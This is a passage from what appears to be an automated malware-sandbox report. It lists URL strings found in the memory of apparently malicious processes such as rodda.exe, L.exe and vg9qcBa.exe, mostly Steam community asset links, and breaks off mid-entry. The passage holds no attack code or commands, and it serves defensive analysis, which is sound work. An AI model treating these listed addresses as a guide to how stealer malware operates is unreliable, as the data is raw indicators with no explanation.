Source: svchost.exe, 00000012.00000002.17165462110.0000027A3FE5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14291763393.0000027A4094B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80605
Source: svchost.exe, 00000012.00000003.14291505299.0000027A4092C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14291505299.0000027A40929000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.17164459898.0000027A3FE45000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14292030608.0000027A40929000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14291763393.0000027A4094B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.17165369710.0000027A3FE46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14292030608.0000027A4092C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/msangcwam
Source: rodda.exe	String found in binary or memory: https://api.steamp
Source: L.exe, 0000000E.00000003.14622999980.000000000127E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: L.exe, 0000000E.00000003.14298426149.00000000012D8000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: L.exe, 0000000E.00000003.14298811335.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298811335.0000000001296000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14326036374.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14622999980.000000000127E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: rodda.exe, 0000000C.00000003.14435131152.0000000006523000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14660060615.0000000005B77000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14474612909.00000000038DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://c2rsetup.officeapps.live.com/c2r/download.aspx?productReleaseID=HomeBusiness2019Retail&platf
Source: vg9qcBa.exe, 00000027.00000003.14471723604.000000000373B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: L.exe, 0000000E.00000003.14298811335.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298811335.0000000001296000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14326036374.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14622999980.000000000127E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/
Source: rodda.exe, 0000000C.00000003.14435131152.0000000006523000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14660060615.0000000005B77000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14474612909.00000000038DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.stubdownloader.services.mozilla.com/builds/firefox-latest-ssl/en-GB/win64/b5110ff5d41570
Source: L.exe, 0000000E.00000003.14622999980.000000000127E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: TaskbarMonitorInstaller.exe, 00000035.00000000.14524168263.000002B1CF77E000.00000002.00000001.01000000.00000015.sdmp, RegAsm.exe, 00000037.00000002.14534841536.000001FC3961C000.00000002.00000001.01000000.00000017.sdmp	String found in binary or memory: https://code-ai.mk/restart-explorer-programmatically-with-c/
Source: rodda.exe	String found in binary or memory: https://community.fastl
Source: rodda.exe, rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14543249992.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000002.14661617200.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14580311185.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14631475291.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14509974020.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steam
Source: rodda.exe	String found in binary or memory: https://community.fastly.steamstatic.com
Source: L.exe, 0000000E.00000003.14622999980.000000000127E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/
Source: rodda.exe	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/applications/community/main.css?
Source: rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14543249992.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000002.14661617200.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14580311185.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006491000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14631475291.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14509974020.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298483583.0000000001280000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=4Vb3xc8UazdB&a
Source: rodda.exe, rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14543249992.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000002.14661617200.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14580311185.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14631475291.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14509974020.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D8000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c
Source: rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14543249992.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000002.14661617200.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14580311185.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14631475291.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14509974020.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D8000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp
Source: rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D8000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a
Source: rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14543249992.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000002.14661617200.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14580311185.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14631475291.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14509974020.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D8000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng
Source: rodda.exe, rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14543249992.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000002.14661617200.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14580311185.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14631475291.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14509974020.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D8000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis
Source: rodda.exe, 0000000C.00000003.14278138507.0000000001A7D000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006491000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298483583.0000000001280000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006491000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D0000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14325551582.000000000127E000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298586301.000000000127E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: rodda.exe, rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14543249992.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000002.14661617200.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14580311185.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14278138507.0000000001A7D000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006491000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14631475291.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14509974020.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298483583.0000000001280000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14543249992.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000002.14661617200.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14580311185.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14278138507.0000000001A7D000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006491000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14631475291.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14509974020.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298483583.0000000001280000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=OgygW_VD
Source: rodda.exe, rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14543249992.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000002.14661617200.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14580311185.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006491000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14631475291.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14509974020.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298483583.0000000001280000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=V9Dw
Source: rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D8000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am
Source: rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D8000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=gQHVlrK4-jX-&l
Source: rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14543249992.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000002.14661617200.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14580311185.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14631475291.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14509974020.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D8000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=uqf5ttWTRe7l&l=engl
Source: rodda.exe, rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14543249992.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000002.14661617200.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14580311185.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14631475291.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14509974020.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D8000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a
Source: rodda.exe, rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14543249992.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000002.14661617200.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14580311185.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14631475291.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14509974020.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D8000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/profile.js?v=GeQ6v03mWpAc&l=english&a
Source: rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14543249992.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000002.14661617200.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14580311185.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14631475291.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14509974020.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D8000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en
Source: rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D8000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng
Source: rodda.exe, rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14543249992.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000002.14661617200.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14580311185.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14631475291.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14509974020.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D8000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e
Source: rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D8000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC
Source: rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14543249992.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000002.14661617200.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14580311185.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14631475291.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14509974020.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D8000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=nT6RHKdfWgaJ&l=e
Source: rodda.exe, rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14543249992.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000002.14661617200.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14580311185.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14631475291.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14509974020.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D8000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&
Source: L.exe, 0000000E.00000003.14298426149.00000000012D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl
Source: rodda.exe	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_global.
Source: rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14543249992.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000002.14661617200.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14580311185.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14631475291.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14509974020.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D8000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en
Source: rodda.exe, rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14543249992.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000002.14661617200.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14580311185.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14631475291.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14509974020.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D8000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&
Source: rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: rodda.exe	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/auth_
Source: rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14543249992.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000002.14661617200.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14580311185.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14631475291.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14509974020.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D8000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 